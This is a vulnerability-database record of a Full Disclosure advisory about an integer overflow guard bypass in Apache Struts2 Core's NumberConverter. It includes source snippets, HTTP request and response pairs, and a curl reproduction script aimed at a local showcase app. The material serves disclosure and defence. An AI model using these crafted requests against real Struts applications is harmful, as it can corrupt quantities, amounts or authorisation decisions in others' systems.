GCVE-1988-2026-0535
Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Nov/4 | technical-description |
| http://127.0.0.1 | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Apache | Struts2 Core |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "Struts2 Core",
"vendor": "Apache",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\nApache Struts2 Core version 7.4.0 and below fails to properly prevent integer overflows, causing wrap-arounds and other \nissues on a downstream forced casting into types smaller than `BigInteger`. Importantly, this finding underscores why \nall applications using Struts and other such platforms should perform their own input validation checks and not blindly \nassume that the upstream Struts2 code has done as such, but the finding also shows that input passed from the upstream \nprovider may not faithfully represent what the user provided.\n\nImpact\nAn attacker who can influence a parameter bound to a boxed `Byte`, `Short`, `Integer`, `Long`, or `Character` action \nproperty can submit a numeric string that is both out of range for the target type and formatted using the resolved \nlocale\u0027s grouping separator (e.g. `\"2,147,483,648\"` under `en_US`) to make `isInRange` silently return `true` instead \nof correctly rejecting the value. Since the swallowed `NumberFormatException` never reaches the caller, execution \nproceeds into `DefaultTypeConverter.convertValue`, where the oversized value is narrowed with an unchecked cast such as \n`(int) longValue(value)`, silently wrapping it into the target type\u0027s range (\"2,147,483,648\" becomes `-2147483648` for \nan `Integer` field) instead of raising the `TypeConversionException` the overflow guard is supposed to produce. This \nlets a value the application assumes was range-validated reach downstream business logic as an unexpected negative, \nzero, or otherwise mismatched figure, which can corrupt quantity, monetary, identifier, or other numeric computations \nand any authorisation or business-rule decision that depends on the converted value being bounded and faithful to the \ncaller\u0027s submitted intent.\n\nExamples\nSample Code\n`NumberConverter.convertValue`, in `core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java`, parses \na request string using a grouping-aware `NumberFormat` and then calls `isInRange` with the original, still-grouped \nstring to confirm the parsed value is within bounds for the target numeric type; `isInRange` re-parses that same \ngrouped string with `new BigInteger`, and its `catch` block treats the resulting `NumberFormatException` as \nconfirmation that the value is in range. Once `isInRange` has incorrectly reported that the value is acceptable, \ncontrol returns to `NumberConverter.convertValue`, which delegates to `DefaultTypeConverter.convertValue`; for an \n`Integer`-typed target this narrows the value with an unchecked cast, producing the actual silent wraparound.\n\n```java\n } else {\n if (stringValue.isEmpty()) {\n return null;\n }\n NumberFormat numFormat = NumberFormat.getInstance(getLocale(context));\n ParsePosition parsePos = new ParsePosition(0);\n if (isIntegerType(toType)) {\n numFormat.setParseIntegerOnly(true);\n }\n numFormat.setGroupingUsed(true);\n Number number = numFormat.parse(stringValue, parsePos);\n\n if (parsePos.getIndex() != stringValue.length()) {\n throw new TypeConversionException(\"Unparseable number: \\\"\" + stringValue + \"\\\" at position \"\n + parsePos.getIndex());\n } else {\n if (!isInRange(number, stringValue, toType))\n throw new TypeConversionException(\"Overflow or underflow casting: \\\"\" + stringValue + \"\\\" into \nclass \" + number.getClass().getName());\n\n value = super.convertValue(context, number, toType);\n }\n }\n```\nCode snippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java, lines \n57-78\n\n```java\n } else if (int.class == toType || Integer.class == toType) {\n bigValue = new BigInteger(stringValue);\n lowerBound = BigInteger.valueOf(Integer.MIN_VALUE);\n upperBound = BigInteger.valueOf(Integer.MAX_VALUE);\n } else if (long.class == toType || Long.class == toType) {\n bigValue = new BigInteger(stringValue);\n lowerBound = BigInteger.valueOf(Long.MIN_VALUE);\n upperBound = BigInteger.valueOf(Long.MAX_VALUE);\n } else {\n throw new IllegalArgumentException(\"Unexpected numeric type: \" + toType.getName());\n }\n } catch (NumberFormatException e) {\n //shoult it fail here? BigInteger doesnt seem to be so nice parsing numbers as NumberFormat\n return true;\n }\n```\nSnippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java, lines 209-222\n\n```java\nif ((toType == Integer.class) || (toType == Integer.TYPE))\n result = (int) longValue(value);\n```\nCode snippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/conversion/impl/DefaultTypeConverter.java, \nlines 122-123, showing the casting to `int` that causes the wrap-around\n\nSample Request-Response Pairs\n`org.apache.struts2.showcase.ajax.Example5Action`, reachable via `/showcase/showcase/ajax/example5.action`, exposes a \nboxed `Integer age` property behind a `@StrutsParameter`-annotated setter, so the overflow guard bypass in \n`struts2-core` is reachable through this action\u0027s ordinary input binding. The four live probes below, each issued on a \nfreshly established session with devMode\u0027s `DebuggingInterceptor` set to `debug=command\u0026expression=age` so that the \nbound value can be read straight off the per-request value stack, isolate the defect to the comma -- the first probe \nsubmits `Integer.MAX_VALUE + 1` with a grouping separator and receives the wrapped, unrelated negative value; the first \ncontrol submits the identical magnitude without a comma and that is correctly rejected; the second control submits a \ngenuinely in-range grouped value that converts correctly; and the third control submits a bare baseline value that \nconverts correctly.\n\n```http\nGET \n/showcase/showcase/ajax/example5.action?age=2%2C147%2C483%2C648\u0026name=overflow-grouped-probe\u0026debug=command\u0026expression=age\n HTTP/1.1\nHost: 127.0.0.1:8383\n```\nA request containing a value too large to fit in an `int` -- `age=2,147,483,648` (`Integer.MAX_VALUE + 1`)\n\n```http\nHTTP/1.1 200\nContent-Type: text/plain;charset=ISO-8859-1\nContent-Length: 11\n\n-2147483648\n```\nThe server accepts the request and the parameter bypasses the overflow guard, is cast to an `int`, and wraps-around to \n`-2147483648` instead of raising a `TypeConversionException`\n\n```http\nGET /showcase/showcase/ajax/example5.action?age=2147483648\u0026name=overflow-ungrouped-control\u0026debug=command\u0026expression=age \nHTTP/1.1\nHost: 127.0.0.1:8383\n```\nA request containing a value too large to fit in an `int` -- `age=2147483648` -- but without a grouping separator\n\n```http\nHTTP/1.1 200\nContent-Type: text/html;charset=ISO-8859-1\nContent-Length: 3154\n\n\u003c!-- ... --\u003e\u003chtml\u003e...\u003ctitle\u003eStruts Problem Report\u003c/title\u003e...\n```\nThe server correctly rejects the value, catching the overflow\n\n```http\nGET /showcase/showcase/ajax/example5.action?age=1%2C234\u0026name=in-range-grouped-control\u0026debug=command\u0026expression=age \nHTTP/1.1\nHost: 127.0.0.1:8383\n```\nControl request -- `age=1,234` -- an in-range, comma-grouped number\n\n```http\nHTTP/1.1 200\nContent-Type: text/plain;charset=ISO-8859-1\nContent-Length: 4\n\n1234\n```\nResponse showing that numbers with commas that remain in-bounds stay as such and are properly interpreted\n\n```http\nGET /showcase/showcase/ajax/example5.action?age=42\u0026name=baseline-control\u0026debug=command\u0026expression=age HTTP/1.1\nHost: 127.0.0.1:8383\n```\nControl request -- `age=42` -- a bare baseline value\n\n```http\nHTTP/1.1 200\nContent-Type: text/plain;charset=ISO-8859-1\nContent-Length: 2\n\n42\n```\nResponse showing correct conversion, as one would expect\n\nSteps to Reproduce\nThis is intended to run against a system using the showcase example. Remember that the issue is locale-aware, so your \ngrouping may not be via commas.\n\n```zsh\n#!/usr/bin/env zsh\n\nBASE_URL=\"http://127.0.0.1 :8383/showcase/showcase/ajax/example5.action\"\n\necho \"=== Vulnerable probe: age=2,147,483,648 (Integer.MAX_VALUE + 1, comma-grouped) ===\"\ncurl -i -s --get \\\n --data-urlencode \"age=2,147,483,648\" \\\n --data-urlencode \"name=overflow-grouped-probe\" \\\n --data-urlencode \"debug=command\" \\\n --data-urlencode \"expression=age\" \\\n \"$BASE_URL\"\n\necho \"\\n\\n=== Control 1: age=2147483648 (identical magnitude, no grouping separator) ===\"\ncurl -i -s --get \\\n --data-urlencode \"age=2147483648\" \\\n --data-urlencode \"name=overflow-ungrouped-control\" \\\n --data-urlencode \"debug=command\" \\\n --data-urlencode \"expression=age\" \\\n \"$BASE_URL\"\n\necho \"\\n\\n=== Control 2: age=1,234 (genuinely in-range, comma-grouped) ===\"\ncurl -i -s --get \\\n --data-urlencode \"age=1,234\" \\\n --data-urlencode \"name=in-range-grouped-control\" \\\n --data-urlencode \"debug=command\" \\\n --data-urlencode \"expression=age\" \\\n \"$BASE_URL\"\n\necho \"\\n\\n=== Control 3: age=42 (bare baseline) ===\"\ncurl -i -s --get \\\n --data-urlencode \"age=42\" \\\n --data-urlencode \"name=baseline-control\" \\\n --data-urlencode \"debug=command\" \\\n --data-urlencode \"expression=age\" \\\n \"$BASE_URL\"\n```\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T09:47:24Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/4"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/4"
},
{
"url": "http://127.0.0.1"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/4"
],
"discovery": "EXTERNAL"
},
"title": "Apache Struts2 Core Integer Overflow",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0535",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/4",
"automated": true,
"contentSha256": "583dfe749702b67a9da19a3e0eccc51f4322c13b628fe6abeaac5818c1f388f2",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/4",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-29T14:52:23Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T09:47:24Z",
"dateUpdated": "2026-11-02T09:47:24Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0535"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.